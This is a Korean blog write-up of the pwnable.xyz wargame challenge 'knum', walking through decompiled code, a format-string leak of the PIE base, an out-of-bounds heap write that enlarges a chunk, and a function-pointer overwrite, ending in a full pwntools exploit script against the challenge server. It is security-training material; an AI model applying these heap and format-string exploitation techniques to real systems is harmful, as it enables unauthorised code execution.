Pwnstar
pwnable.xyz knum 본문
이전 문제보다 더 어렵고 복잡한 문제였다....막히는 부분 중간중간 라업을 좀 참고하면서 풀었다.
모든 보호기법이 다 걸려있음.
함수 이름들을 내가 다 임의로 붙여줘서 참고하시길 바란다.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setup();
init_game();
print_explain();
play((const char *)a1);
return 0LL;
}
메인함수는 별거 없고 play부터 시작한다. play함수를 보기 전에 init_game함수를 보자
init_game
__int64 init_game()
{
_DWORD *v0; // rax
_QWORD *v1; // rax
__int64 result; // rax
qword_203228 = malloc(160uLL);
reset_highscore();
v0 = malloc(40uLL);
qword_203208 = (__int64)v0;
v0[5] = 0;
*(_DWORD *)(qword_203208 + 24) = 0;
*(_QWORD *)(qword_203208 + 32) = show_round;
qword_203220 = malloc(0xC8uLL);
memset(qword_203220, 0, 0xC8uLL);
v1 = qword_203220;
*(_QWORD *)qword_203220 = ' yalP .1';
v1[1] = '2\nemag a';
v1[2] = 'h wohS .';
v1[3] = '3\nerocsi';
v1[4] = ' teseR .';
v1[5] = '\nerocsih';
v1[6] = ' porD .4';
v1[7] = 'ton a em';
v1[8] = 'ixE .5\ne';
*((_WORD *)v1 + 36) = '\nt';
*((_BYTE *)v1 + 74) = 0;
result = qword_203208;
*(_QWORD *)qword_203208 = '0.v MUNK';
*(_WORD *)(result + 8) = '\n1';
*(_BYTE *)(result + 10) = 0;
return result;
}
먼저 reset_highscore함수를 호출해준다.
pie_base + 0x203228의 위치에 160만큼 할당한 주소를 넘겨주고, pie_base + 0x203208의 위치에는 40만큼 할당한 주소를 넣어준다. 이 주소 + 32의 위치에 show_round라는 함수의 주소를 넣어주는데, 이 함수의 주소를 덮어주면 될 것 같은 느낌이 든다.
pie_base + 0x203220의 위치에는 200바이트만큼 할당을 받고, 메뉴에 해당하는 문자열들을 저장한다.
void *__ptr32 *__fastcall play(const char *a1)
{
void *__ptr32 *result; // rax
while ( 1 )
{
print_menu();
getchar();
getchar();
result = off_2020;
switch ( (unsigned int)off_2020 )
{
case '1':
play_game();
break;
case '2':
show_highscore();
break;
case '3':
reset_highscore();
break;
case '4':
drop_note();
break;
case '5':
return result;
default:
puts("Invalid option...");
break;
}
}
}
익스하기 위해서 모든 메뉴가 다 사용된다 이런 문제는 또 처음인 것 같다.
play_game
unsigned __int64 play_game()
{
__int64 v0; // rdx
__int64 v1; // rdx
unsigned int v3; // [rsp+4h] [rbp-1Ch]
unsigned int v4; // [rsp+8h] [rbp-18h]
unsigned int v5; // [rsp+Ch] [rbp-14h]
int v6; // [rsp+10h] [rbp-10h]
int v7; // [rsp+14h] [rbp-Ch]
unsigned __int64 v8; // [rsp+18h] [rbp-8h]
v8 = __readfsqword(0x28u);
v6 = 1;
init_count();
while ( 1 )
{
v3 = 0;
v4 = 0;
v5 = 0;
(*(void (**)(void))(qword_203208 + 32))();
while ( !v3 && !v4 || *((_BYTE *)qword_203228 + 16 * v4 + v3) )
{
v0 = *(unsigned int *)(qword_203208 + 0x1C);
__printf_chk(1LL, "Player %d - Enter your move (invalid input to end game)\n");
__printf_chk(1LL, "- Enter target field (x y): ");
if ( (unsigned int)__isoc99_scanf("%d %d", &v3, &v4) != 2 )
{
v6 = 0;
break;
}
}
if ( !v6 )
break;
if ( v3 > 0x10 || v4 > 0xA )
{
puts("Invalid move...");
}
else
{
while ( !v5 || v5 > 0xFF )
{
__printf_chk(1LL, "- Enter the value you want to put there (< 255): ");
__isoc99_scanf("%d", &v5, v1);
}
*((_BYTE *)qword_203228 + 16 * (10 - v4) + v3 - 1) = v5;
v7 = calc_score();
if ( v7 > 0 )
{
__printf_chk(1LL, "You scored %d points!\n");
*(_DWORD *)(qword_203208 + 20) += v7;
}
}
++*(_DWORD *)(qword_203208 + 16);
}
search_rank(*(_DWORD *)(qword_203208 + 20));
return __readfsqword(0x28u) ^ v8;
}
원하는 곳에 값을 써 넣을 수 있는 함수이다. 처음엔 이 함수를 이용해서 주소를 써 넣는 방법을 생각했었는데, 써 넣을 곳의 다음 주소가 비어있지 않으면 안되는 조건이 있어서 불가능했다.
이런 식으로 전부 할당되면 heap공간의 메모리 구조는 다음과 같이 구성된다. 캡처해서 올리려고 했는데, 사이즈가 워낙 커서 그림으로 그려보자면
이런 구조가 형성된다. play_game함수에서 y에 0을 입력할 수 있는 취약점 때문에, 위치를 벗어난 곳에 원하는 값을 쓸 수 있는데, 이걸로 초기화된 랭크가 들어가는 곳의 size 값을 조절할 수 있다.
그러면 size 값이 0x7b1 -> 0x8b1로 바뀐다.
reset_highscore
char *reset_highscore()
{
if ( ptr )
free(ptr);
ptr = malloc(0x7A8uLL);
get_hall_of_fame(0, "Kileak", 1000, "You cannot beat me in my own game, can you? :P");
get_hall_of_fame(1, "vakzz", 999, "Expected a kernel pwn here :(");
get_hall_of_fame(2, "uafio", 998, "My knum senses are tingling...");
get_hall_of_fame(3, "grazfather", 997, "I hope you used gef to debug this shitty piece of software!");
get_hall_of_fame(4, "rh0gue", 997, "I eat kbbq");
get_hall_of_fame(5, "corb3nik", 996, "Where's my putine???");
get_hall_of_fame(6, "reznok", 995, "Did anyone find the web interface by now?");
get_hall_of_fame(7, "zer0", 3, "Will be a draw...");
get_hall_of_fame(8, "Tuan Linh", 2, "how can I delete my message here???");
return get_hall_of_fame(
9,
"zophike1",
1,
"No time to play this game, have to do pwn2own and some kernel pwnz instead...");
}
3번 메뉴 reset_highscore에서 free(ptr)이 실행되면
랭크가 들어가는 곳만 원래 free가 되어야 하는데, 아래에 explain과 menu의 부분까지 전부 free시킬 수 있다. 그리고 앞서 init_game함수에서 show_round함수의 주소가 들어간 부분은 explain + 0x20에 위치해 있다.
이 explain에 값을 써 넣을 수 있는 방법은 play_game을 통해 score가 1 이상이 되면 name과 remark를 입력할 수 있는 함수를 이용하는 것이다.
void __fastcall sub_119E(int a1)
{
int i; // [rsp+1Ch] [rbp-14h]
void *s; // [rsp+20h] [rbp-10h]
char *v3; // [rsp+28h] [rbp-8h]
s = malloc(0x40uLL);
v3 = (char *)malloc(0x80uLL);
memset(s, 0, 64uLL);
memset(v3, 0, 128uLL);
getchar();
getchar();
__printf_chk(1LL, "Enter your name (max 63 chars) : ");
fgets((char *)s, 64, stdin);
__printf_chk(1LL, "Enter a remark (max 127 chars) : ");
fgets(v3, 128, stdin);
if ( *((_BYTE *)s + strlen((const char *)s) - 1) == 10 )
*((_BYTE *)s + strlen((const char *)s) - 1) = 0;
if ( v3[strlen(v3) - 1] == 10 )
v3[strlen(v3) - 1] = 0;
for ( i = 0; i <= 9; ++i )
{
if ( a1 > *((_DWORD *)ptr + 49 * i + 16) )
{
get_hall_of_fame(i, (const char *)s, a1, v3);
break;
}
}
free(v3);
free(s);
}
이름을 입력받는 곳을 0x40만큼 할당해주는데, 이 부분이 할당될 때 explain부분이 할당되게 할 수 있다.
익스 시나리오를 설명하기 전에 하나 더 설명할 부분이 있는데, show_highscore의 부분을 살펴보자.
int sub_132A()
{
__int64 v0; // r8
signed int i; // [rsp+Ch] [rbp-4h]
putchar(10);
puts("Hall of fame - All time best knum players");
puts("#################################################################");
for ( i = 0; i <= 9; ++i )
{
v0 = *((unsigned int *)ptr + 49 * i + 16);
__printf_chk(1LL, "%d. %s - %d\n\t");
__printf_chk(1LL, (char *)ptr + 196 * i + 68);
putchar(10);
}
puts("#################################################################");
return putchar(10);
}
remark를 출력해주는 부분에 format string이 없다 때문에 fsb가 터지는데, 이를 이용해서 pie_base의 주소를 구할 수 있다.
exploit scenario
- score를 2로 만들때까지 play함수를 반복한 후 remark를 입력하는 부분에 %p를 입력하고 show_highscore를 통해 win함수의 주소를 구한다.
- 다시 play_game함수에서 x에 10, y에 0, 입력값은 8로 주어 0x7b1 -> 0x8b1로 만들어준다.
- reset_highscore함수로 free를 진행해서 explain과 menu부분까지 free를 진행한다.
- 여기서 play_game을 진행해서 explain+0x20의 위치에 win함수의 값을 넣어주기 전에 한 가지 더 짚고 넘어가자
- 처음 win함수의 주소를 알아내기 위해서 name과 remark를 입력할 때 이 곳의 주소를 또 malloc으로 할당해주고, 이후 free를 진행한다.
- 이때문에 바로 name을 입력하는 과정으로 뛰게 되면 기존에 사용되던 공간에 name을 입력하게 되므로 4번 drop_note함수를 이용해서 먼저 name을 입력하는데에 사용되었던 곳을 채워주어야 explain에 값을 써 넣을 수 있다.
- play_game함수를 다시 스코어가 2 이상이 되게 반복한 후 name을 입력하는 부분에 dummy*32 + win함수의 주소를 입력해준다.
ex.py
from pwn import*
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30043)
def play(x, y, num):
#p.sendlineafter("5. Exit\n", "1")
p.sendlineafter("(x y): ", str(x) + " " + str(y))
p.sendlineafter("(< 255): ", str(num))
p.sendlineafter("5. Exit\n", "1")
for j in range(0, 2):
for i in range(1, 6):
play(i, 10, 200)
p.sendlineafter("(x y): ", "a")
p.sendafter("63 chars) : ", "A"*63)
p.sendlineafter("127 chars) : " , "%p %p %p %p BBB%p")
p.sendlineafter("5. Exit\n", "2")
p.recvuntil("BBB")
pie_base = int(p.recv(14), 16) - 0xb80
log.info(hex(pie_base))
win = pie_base + 0x00000000000019FE
#setting chunk
p.sendlineafter("5. Exit\n", "1")
play(10, 0, 8)
p.sendlineafter("(x y): ", "a")
p.sendlineafter("5. Exit\n", "3")
p.sendlineafter("5. Exit\n", "4")
p.sendlineafter(": ", "A"*8)
p.sendlineafter("5. Exit\n", "1")
for j in range(0, 2):
for i in range(1, 6):
play(i, 10, 200)
p.sendlineafter("(x y): ", "a")
p.sendlineafter("63 chars) : ", "A"*32 + p64(win))
p.sendlineafter("127 chars) : " , "B"*126)
p.sendline( "1")
p.interactive()
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz fishing (0) | 2020.12.19 |
---|---|
pwnable.xyz babyvm (0) | 2020.12.17 |
pwnable.xyz pve (0) | 2020.12.15 |
pwnable.xyz note v3 (0) | 2020.12.14 |
pwnable.xyz world (0) | 2020.12.12 |